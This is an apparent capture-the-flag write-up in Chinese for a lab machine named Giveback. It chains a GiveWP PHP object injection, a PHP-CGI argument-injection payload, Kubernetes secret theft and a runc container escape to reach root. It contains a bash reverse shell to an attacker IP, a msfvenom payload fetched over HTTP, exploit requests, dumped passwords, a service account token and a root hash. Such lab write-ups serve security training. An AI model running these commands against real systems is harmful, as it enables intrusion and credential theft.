[Season9] Giveback WP
User Flag
nmap 扫描到三个端口,80 是一个 wordpress,30686 看着像一个 k8s 的服务
1 | PORT STATE SERVICE REASON VERSION |
wpscan 扫描到存在插件 give 版本为 3.14.0
1 | [+] give |
搜索得到受 CVE-2024-5932 影响
使用 EQSTLab/CVE-2024-8353: GiveWP PHP Object Injection exploit
1 | uv run CVE-2024-8353.py -u http://10.129.127.118/donations/the-things-we-need/ -c 'bash -c "/bin/bash -i >& /dev/tcp/10.10.16.25/443 0>&1"' |
wp-config.php
1 |
|
从数据库中导出用户凭证
1 | mysql -u bn_wordpress -p'sW5sp4spa3u7RLyetrekE4oS' -h beta-vino-wp-mariadb -D bitnami_wordpress -e "SELECT user_login, user_pass FROM wp_users;" |
得到
1 | user_login user_pass |
env 中得到
1 | LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000 |
用 Msf 开个代理
1 | msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.10.16.102 LPORT=4444 -f elf -o met |
上传
1 | php -r "copy('http://10.10.16.102:8000/met', 'met');" |
1 | meterpreter > portfwd add -l 5000 -p 5000 -r 10.43.2.241 |
访问 10.43.2.241:5000 发现有
1 | /cgi-bin/php-cgi — PHP-CGI Handler |
php 版本 X-Powered-By: PHP/8.3.3 且提示说是从 windows 迁移过来的,判断受 CVE-2024-4577 影响
这台机子估计出不了网,于是直接使用 webshell 枚举了,发现用户为 root
payload
1 | POST /cgi-bin/php-cgi?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input |
拿到 k8s service account token
1 | eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzOTc5ODA4LCJpYXQiOjE3NjI0NDM4MDgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiYWYzOTRlZGMtZjA1Mi00Yzc1LTgzYTUtNmFkMDFhNDBlOTkxIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWxmdzdsIiwidWlkIjoiMzM3ODUxY2QtYTM2NS00NmU2LTk4MDAtZTJhYzdlMWUyZmIyIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjQ0NzQxNX0sIm5iZiI6MTc2MjQ0MzgwOCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.1wI6pBKmcZGUVsMQlRya988Y5yj0H_elwIy-bow3bAldYdYURUZo3dCrfXY9KQ7qy1f2d6jmqMF6VgERaI6csKcUmg7c_Uho5anrRZ6cWYzZ9IV0oJ9aywiscpGMk-F8NeGI3Zqz5H8_QeZGVb8pAou4SOfHyIP479Mj4aOymbUHTfhdFxs93J2Bl7B4eVVS6RF8jYTvIYPsXhfqtxAsZpxpziNG3_KsTEV19CO1O0wQ9vQUmUyCbSHj24Q_KmTHKMgZHImtp7OPbj1AynILr8wlKpyouANtC_EWyf6w9rsi-5Qs30ZJYruNr7pa07FvmYoR-awHxuJBpsSVVSNN8w |
使用 kubectl 枚举信息
1 | KUBERNETES_SERVICE_PORT=443 |
可以看到有 [get list] secrets 的权限
1 | ./kubectl --server="$K8S_APISERVER" --token="$SA_TOKEN" --insecure-skip-tls-verify=true get secrets -n default |
使用 ssh 登录 babywyrm:fe4NQ0tSr9EV49ZHolc7FkVQCX1T6p
在 /home/babywyrm/ 找到 user.txt
Root Flag
1 | babywyrm@giveback:~$ sudo -l |
使用 base64 的 mariadb-password 作为 administrative password 即 c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T
1 | babywyrm@giveback:~$ sudo /opt/debug --help |
这是个 runc 是一个容器运行时,考虑到把主机的文件系统挂载进容器
创建 config.json
1 | { |
运行 runc
1 | babywyrm@giveback:/tmp/runc$ sudo /opt/debug run aaa |
Hash
1 | root:$y$j9T$QFzc3gsorLqusBf73kX1x.$jyvD/pCPnr99xNLW62eqJVCQT5IbN7seZdPI3YoLgCA:20361:0:99999:7::: |